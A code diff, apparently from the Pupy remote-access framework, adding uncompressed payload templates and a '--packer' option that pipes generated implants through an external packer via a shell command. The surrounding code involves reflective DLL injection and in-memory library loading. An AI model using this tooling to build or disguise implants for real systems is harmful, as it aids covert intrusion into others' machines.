diff --git a/client/gen_resource_header.py b/client/gen_resource_header.py index 0ea5b3ff..dc4f85de 100644 --- a/client/gen_resource_header.py +++ b/client/gen_resource_header.py @@ -8,32 +8,37 @@ import struct MAX_CHAR_PER_LINE=50 if __name__=="__main__": - h_file="" - file_bytes=b"" - with open(sys.argv[1], "rb") as f: - file_bytes=f.read() + h_file="" + file_bytes=b"" + with open(sys.argv[1], "rb") as f: + file_bytes=f.read() - attribute = '\n'.join([ - '__attribute__(({}))'.format(x) for x in sys.argv[2:] - ]) + compressed = int(sys.argv[2]) - payload_len = len(file_bytes) - payload = struct.pack('>I', payload_len) + pylzma.compress( - file_bytes,dictionary=24,fastBytes=255) + attribute = '\n'.join([ + '__attribute__(({}))'.format(x) for x in sys.argv[3:] + ]) - h_file += "static const int %s_size = %s;"%(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_"), len(payload)) - h_file += attribute - h_file += "\nstatic const char %s_start[] = {\n"%sys.argv[1].replace(".","_").replace("\\","_").replace("/","_") - current_size=0 + payload_len = len(file_bytes) + payload = struct.pack('>I', payload_len) + ( + pylzma.compress( + file_bytes, dictionary=24, fastBytes=255 + ) if compressed else file_bytes + ) - for c in payload: - h_file+="'\\x%s',"%binascii.hexlify(c) - current_size+=1 - if current_size>MAX_CHAR_PER_LINE: - current_size=0 - h_file+="\n" + h_file += "static const int %s_size = %s;"%(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_"), len(payload)) + h_file += attribute + h_file += "\nstatic const char %s_start[] = {\n"%sys.argv[1].replace(".","_").replace("\\","_").replace("/","_") + current_size=0 - h_file += "'\\x00' };\n" + for c in payload: + h_file+="'\\x%s',"%binascii.hexlify(c) + current_size+=1 + if current_size>MAX_CHAR_PER_LINE: + current_size=0 + h_file+="\n" - with open(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_")+".c",'w') as w: - w.write(h_file) + h_file += "'\\x00' };\n" + + with open(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_")+".c",'w') as w: + w.write(h_file) diff --git a/client/lzma/lzmaunpack.c b/client/lzma/lzmaunpack.c index 770d4434..e28be5f0 100644 --- a/client/lzma/lzmaunpack.c +++ b/client/lzma/lzmaunpack.c @@ -1,21 +1,29 @@ /* --- Code for inlining --- */ +#ifndef UNCOMPRESSED #include "LzmaDec.h" static void *_lzalloc(void *p, size_t size) { p = p; return malloc(size); } static void _lzfree(void *p, void *address) { p = p; free(address); } static ISzAlloc _lzallocator = { _lzalloc, _lzfree }; +#define lzmafree(x) free(x) +#else +#define lzmafree(x) do {} while (0) +#endif static void *lzmaunpack(const char *data, size_t size, size_t *puncompressed_size) { unsigned char *uncompressed = NULL; size_t uncompressed_size = 0; +#ifndef UNCOMPRESSED const Byte *wheader = (Byte *) data + sizeof(unsigned int); const Byte *woheader = (Byte *) wheader + LZMA_PROPS_SIZE; ELzmaStatus status; + size_t srcLen; int res; +#endif union { unsigned int l; @@ -29,6 +37,7 @@ static void *lzmaunpack(const char *data, size_t size, size_t *puncompressed_siz uncompressed_size = x.l; +#ifndef UNCOMPRESSED uncompressed = malloc(uncompressed_size); if (!uncompressed) { return NULL; @@ -45,6 +54,9 @@ static void *lzmaunpack(const char *data, size_t size, size_t *puncompressed_siz free(uncompressed); return NULL; } +#else + uncompressed = data + sizeof(unsigned int); +#endif if (puncompressed_size) { *puncompressed_size = uncompressed_size; @@ -64,6 +76,6 @@ static PyObject *PyObject_lzmaunpack(const char *data, size_t size) { object = PyMarshal_ReadObjectFromString( uncompressed, uncompressed_size); - free(uncompressed); + lzmafree(uncompressed); return object; } diff --git a/client/sources-linux/Makefile b/client/sources-linux/Makefile index a5f3435b..cdd5ed19 100644 --- a/client/sources-linux/Makefile +++ b/client/sources-linux/Makefile @@ -47,7 +47,16 @@ PYTHON ?= python TEMPLATE_OUTPUT_PATH ?= ../../pupy/payload_templates/ PYOBJS := _memimporter.o Python-dynload.o pupy_load.o pupy.o -COMMON_OBJS := list.o tmplibrary.o daemonize.o decompress.o LzmaDec.o +COMMON_OBJS := list.o tmplibrary.o daemonize.o decompress.o + +ifeq ($(UNCOMPRESSED),) +COMMON_OBJS += LzmaDec.o +COMPRESSED = 1 +else +CFLAGS += -DUNCOMPRESSED +SUFFIX := unc.$(SUFFIX) +COMPRESSED = 0 +endif ifeq ($(OS),Linux) ifeq ($(ARCH),64) @@ -76,21 +85,23 @@ import-tab.c import-tab.h: mktab.py Python-dynload.o: Python-dynload.c import-tab.c import-tab.h $(CC) -c -o $@ $< $(CFLAGS) +ifeq ($(UNCOMPRESSED),) LzmaDec.o: ../lzma/LzmaDec.c $(CC) $(CFLAGS) -O3 -fPIC -c -o $@ $< +endif resources/library_compressed_string.txt: ../gen_library_compressed_string.py resources/library.zip $(PYTHON) $(PFLAGS) ../gen_library_compressed_string.py resources_library_compressed_string_txt.c: ../gen_resource_header.py resources/library_compressed_string.txt resources/library.zip $(PYTHON) $(PFLAGS) ../gen_resource_header.py \ - resources/library_compressed_string.txt $(XZARGS) + resources/library_compressed_string.txt $(COMPRESSED) $(XZARGS) resources/bootloader.pyc: ../gen_python_bootloader.py ../../pupy/packages/all/pupyimporter.py ../../pupy/pp.py $(PYTHON) $(PFLAGS) ../gen_python_bootloader.py $(DEBUG_ADD) resources_bootloader_pyc.c: ../gen_resource_header.py resources/bootloader.pyc - $(PYTHON) $(PFLAGS) $+ $(XZARGS) + $(PYTHON) $(PFLAGS) $+ $(COMPRESSED) $(XZARGS) linux-inject/%.o: linux-inject/%.c $(CC) -c $(LINUX_INJECT_CFLAGS) $(CFLAGS) -o $@ $< @@ -120,13 +131,13 @@ resources/library.zip: ../build_library_zip.py ../additional_imports.py $(PYTHON) -OO $(PFLAGS) $< resources_python27_so.c: ../gen_resource_header.py resources/python27.so - $(PYTHON) $(PFLAGS) $+ $(XZARGS) + $(PYTHON) $(PFLAGS) $+ $(COMPRESSED) $(XZARGS) resources_libssl_so.c: ../gen_resource_header.py resources/libssl.so - $(PYTHON) $(PFLAGS) $+ $(XZARGS) + $(PYTHON) $(PFLAGS) $+ $(COMPRESSED) $(XZARGS) resources_libcrypto_so.c: ../gen_resource_header.py resources/libcrypto.so - $(PYTHON) $(PFLAGS) $+ $(XZARGS) + $(PYTHON) $(PFLAGS) $+ $(COMPRESSED) $(XZARGS) $(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).$(SUFFIX): main_exe.o $(PYOBJS) $(COMMON_OBJS) $(CC) $(PIE) $+ -o $@ $(LDFLAGS) diff --git a/client/sources-linux/build.sh b/client/sources-linux/build.sh index 065a924f..eececc07 100755 --- a/client/sources-linux/build.sh +++ b/client/sources-linux/build.sh @@ -25,6 +25,10 @@ make clean make PIE= make clean make DEBUG=1 PIE= +make clean +make PIE= UNCOMPRESSED=1 +make clean +make DEBUG=1 PIE= UNCOMPRESSED=1 __CMDS__ umount buildenv/lin32/dev @@ -44,6 +48,10 @@ make clean make make clean make DEBUG=1 +make clean +make UNCOMPRESSED=1 +make clean +make DEBUG=1 UNCOMPRESSED=1 __CMDS__ umount buildenv/lin64/dev diff --git a/client/sources-linux/pupy_load.c b/client/sources-linux/pupy_load.c index 4b5d7068..10c72ad7 100644 --- a/client/sources-linux/pupy_load.c +++ b/client/sources-linux/pupy_load.c @@ -53,7 +53,7 @@ static inline void* xz_dynload(const char *soname, const char *xzbuf, size_t xzs void *res = memdlopen(soname, (char *) uncompressed, uncompressed_size); - free(uncompressed); + lzmafree(uncompressed); if (!res) { dprint("loading %s from memory failed\n", soname); @@ -169,17 +169,13 @@ uint32_t mainThread(int argc, char *argv[], bool so) { PyObject *sub = PySequence_GetItem(seq, i); if (seq) { PyObject *discard = PyEval_EvalCode((PyCodeObject *)sub, d, d); + dprint("EVAL CODE %p -> %p\n", sub, discard); if (!discard) { -#ifdef DEBUG - PyObject *ptype, *pvalue, *ptraceback; - PyErr_Fetch(&ptype, &pvalue, &ptraceback); - dprint("SEQ %d EXCEPTION: %s\n", i, PyString_AsString(pvalue)); PyErr_Print(); -#endif rc = 255; + break; } Py_XDECREF(discard); - /* keep going even if we fail */ } Py_XDECREF(sub); } diff --git a/client/sources/Makefile b/client/sources/Makefile index 7de362bb..005a220b 100644 --- a/client/sources/Makefile +++ b/client/sources/Makefile @@ -45,9 +45,18 @@ PYOBJS := \ COMMON_OBJS := \ MemoryModule.obj \ actctx.obj list.obj thread.obj remote_thread.obj \ - LoadLibraryR.obj LzmaDec.obj + LoadLibraryR.obj -all: $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).exe $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).dll +ifeq ($(UNCOMPRESSED),) +COMMON_OBJS += LzmaDec.obj +COMPRESSED = 1 +else +CFLAGS += /DUNCOMPRESSED +SUFFIX := unc.$(SUFFIX) +COMPRESSED = 0 +endif + +all: $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)exe $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)dll $(BUILDENV_READY): ./buildenv.sh "$(BUILDENV)" @@ -71,13 +80,13 @@ resources/library.zip: ../build_library_zip.py $(BUILDENV_READY) $(PYTHON) ../build_library_zip.py -windows resources_library_compressed_string_txt.c: ../gen_resource_header.py resources/library_compressed_string.txt resources/library.zip $(BUILDENV_READY) - $(HOST_PYTHON) ../gen_resource_header.py resources/library_compressed_string.txt + $(HOST_PYTHON) ../gen_resource_header.py resources/library_compressed_string.txt $(COMPRESSED) resources/bootloader.pyc: ../../pupy/packages/all/pupyimporter.py ../../pupy/pp.py ../gen_python_bootloader.py $(BUILDENV_READY) $(PYTHON) ../gen_python_bootloader.py $(DEBUG_ADD) resources_bootloader_pyc.c: resources/bootloader.pyc ../gen_resource_header.py $(BUILDENV_READY) - $(HOST_PYTHON) ../gen_resource_header.py $< + $(HOST_PYTHON) ../gen_resource_header.py $< $(COMPRESSED) resources/python27.dll: $(BUILDENV)/$(ARCH)/drive_c/Python27/python27.dll $(BUILDENV_READY) cp $< $@ @@ -86,16 +95,18 @@ resources/msvcr90.dll: $(BUILDENV)/$(ARCH)/drive_c/Python27/msvcr90.dll $(BUILDE cp $< $@ resources_python27_dll.c: resources/python27.dll ../gen_resource_header.py $(BUILDENV_READY) - $(HOST_PYTHON) ../gen_resource_header.py $< + $(HOST_PYTHON) ../gen_resource_header.py $< $(COMPRESSED) resources_msvcr90_dll.c: resources/msvcr90.dll ../gen_resource_header.py $(BUILDENV_READY) - $(HOST_PYTHON) ../gen_resource_header.py $< + $(HOST_PYTHON) ../gen_resource_header.py $< $(COMPRESSED) $(PYOBJS): %.obj: %.c $(CC) /c $(CFLAGS) /I$(PYTHONPATH)\\include $< +ifeq ($(UNCOMPRESSED),) LzmaDec.obj: ../lzma/LzmaDec.c $(CC) /c $(CFLAGS) $< +endif main_exe.obj: main_exe.c $(CC) /c $(CFLAGS) $< @@ -106,10 +117,10 @@ main_exe.obj: main_exe.c ReflectiveLoader.obj: ReflectiveLoader.c $(CC) /c $(CFLAGS) /DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR /O2 /Ob1 $< -$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).exe: main_exe.obj $(PYOBJS) $(COMMON_OBJS) +$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)exe: main_exe.obj $(PYOBJS) $(COMMON_OBJS) $(CC) $(CFLAGS) $+ /Fe$@ $(LINKER_OPTS) -$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).dll: main_reflective.obj $(PYOBJS) ReflectiveLoader.obj $(COMMON_OBJS) +$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)dll: main_reflective.obj $(PYOBJS) ReflectiveLoader.obj $(COMMON_OBJS) $(CC) $(CFLAGS) $+ /Fe$@ /LD .PHONY: clean diff --git a/client/sources/pupy_load.c b/client/sources/pupy_load.c index 13d20b83..81cf2d3a 100644 --- a/client/sources/pupy_load.c +++ b/client/sources/pupy_load.c @@ -59,7 +59,7 @@ DWORD WINAPI mainThread(LPVOID lpArg) ); int r = _load_msvcr90(msvcr90); - free(msvcr90); + lzmafree(msvcr90); dfprint(stderr,"loading msvcr90.dll: %d\n", r); } @@ -81,7 +81,7 @@ DWORD WINAPI mainThread(LPVOID lpArg) else{ void *python27 = lzmaunpack(resources_python27_dll_start, resources_python27_dll_size, NULL); int res = _load_python("python27.dll", python27); - free(python27); + lzmafree(python27); if(!res) { dfprint(stderr,"loading python27.dll from memory failed\n"); diff --git a/pupy/pupy.conf.default b/pupy/pupy.conf.default index 534ce2ef..7f26b1f8 100644 --- a/pupy/pupy.conf.default +++ b/pupy/pupy.conf.default @@ -38,6 +38,7 @@ format = client os = windows arch = x86 external = false +packer = #output = #launcher = #launcher_args = diff --git a/pupy/pupygen.py b/pupy/pupygen.py index f45f0e25..1861ae1b 100755 --- a/pupy/pupygen.py +++ b/pupy/pupygen.py @@ -42,7 +42,7 @@ def check_templates_version(): logging.warning("Your templates are not synced with your pupy version ! , you should update them with \"git submodule update\"") -def get_edit_binary(path, conf): +def get_edit_binary(path, conf, compressed_config=True): logging.debug("generating binary %s with conf: %s"%(path, conf)) binary=b"" with open(path, 'rb') as f: @@ -62,7 +62,8 @@ def get_edit_binary(path, conf): new_conf = marshal.dumps(compile(get_raw_conf(conf), '', 'exec')) uncompressed = len(new_conf) - new_conf = pylzma.compress(new_conf) + if compressed_config: + new_conf = pylzma.compress(new_conf) compressed = len(new_conf) new_conf = struct.pack('>II', compressed, uncompressed) + new_conf new_conf_len = len(new_conf) @@ -194,7 +195,7 @@ def updateTar(arcpath, arcname, file_path): finally: shutil.rmtree(tempdir) -def get_edit_apk(path, conf): +def get_edit_apk(path, conf, compressed_config=None): tempdir = tempfile.mkdtemp(prefix="tmp_pupy_") fd, tempapk = tempfile.mkstemp(prefix="tmp_pupy_") try: @@ -236,8 +237,8 @@ def get_edit_apk(path, conf): shutil.rmtree(tempdir, ignore_errors=True) os.unlink(tempapk) -def generate_binary_from_template(config, osname, arch=None, shared=False, debug=False, bits=None, fmt=None): - TEMPLATE_FMT = fmt or 'pupy{arch}{debug}.{ext}' +def generate_binary_from_template(config, osname, arch=None, shared=False, debug=False, bits=None, fmt=None, compressed=True): + TEMPLATE_FMT = fmt or 'pupy{arch}{debug}{unk}.{ext}' ARCH_CONVERT = { 'amd64': 'x64', 'x86_64': 'x64', 'i386': 'x86', 'i486': 'x86', 'i586': 'x86', 'i686': 'x86', @@ -298,7 +299,7 @@ def generate_binary_from_template(config, osname, arch=None, shared=False, debug else: ext = non_shared_ext - filename = template.format(arch=arch, debug=debug, ext=ext) + filename = template.format(arch=arch, debug=debug, ext=ext, unk='.unc' if not compressed else '') template = os.path.join( 'payload_templates', filename ) @@ -317,7 +318,7 @@ def generate_binary_from_template(config, osname, arch=None, shared=False, debug print colorize("[C] {}: {}".format(k, v), "yellow") - return generator(template, config), filename, makex + return generator(template, config, compressed), filename, makex def load_scriptlets(): scl={} @@ -410,6 +411,9 @@ def get_parser(base_parser, config): choices=CLIENT_OS, help='Target OS (default: windows)') parser.add_argument('-A', '--arch', default=config.get('gen', 'arch'), choices=CLIENT_ARCH, help='Target arch (default: x86)') + parser.add_argument('-U', '--uncompressed', default=False, action='store_true', + help='Use uncompressed template') + parser.add_argument('-P', '--packer', default=config.get('gen', 'packer'), help='Use packer') parser.add_argument('-S', '--shared', default=False, action='store_true', help='Create shared object') parser.add_argument('-o', '--output', help="output path") parser.add_argument('-D', '--output-dir', default=config.get('gen', 'output'), help="output folder") @@ -499,7 +503,8 @@ def pupygen(args, config): data, filename, makex = generate_binary_from_template( conf, args.os, - arch=args.arch, shared=args.shared, debug=args.debug + arch=args.arch, shared=args.shared, debug=args.debug, + compressed=not ( args.uncompressed or args.packer ) ) if not outpath: @@ -522,7 +527,13 @@ def pupygen(args, config): outfile.close() if makex: - os.chmod(outfile.name, 0511) + os.chmod(outfile.name, 0711) + + if args.packer: + subprocess.check_call( + args.packer.replace('%s', outfile.name), + shell=True + ) outpath = outfile.name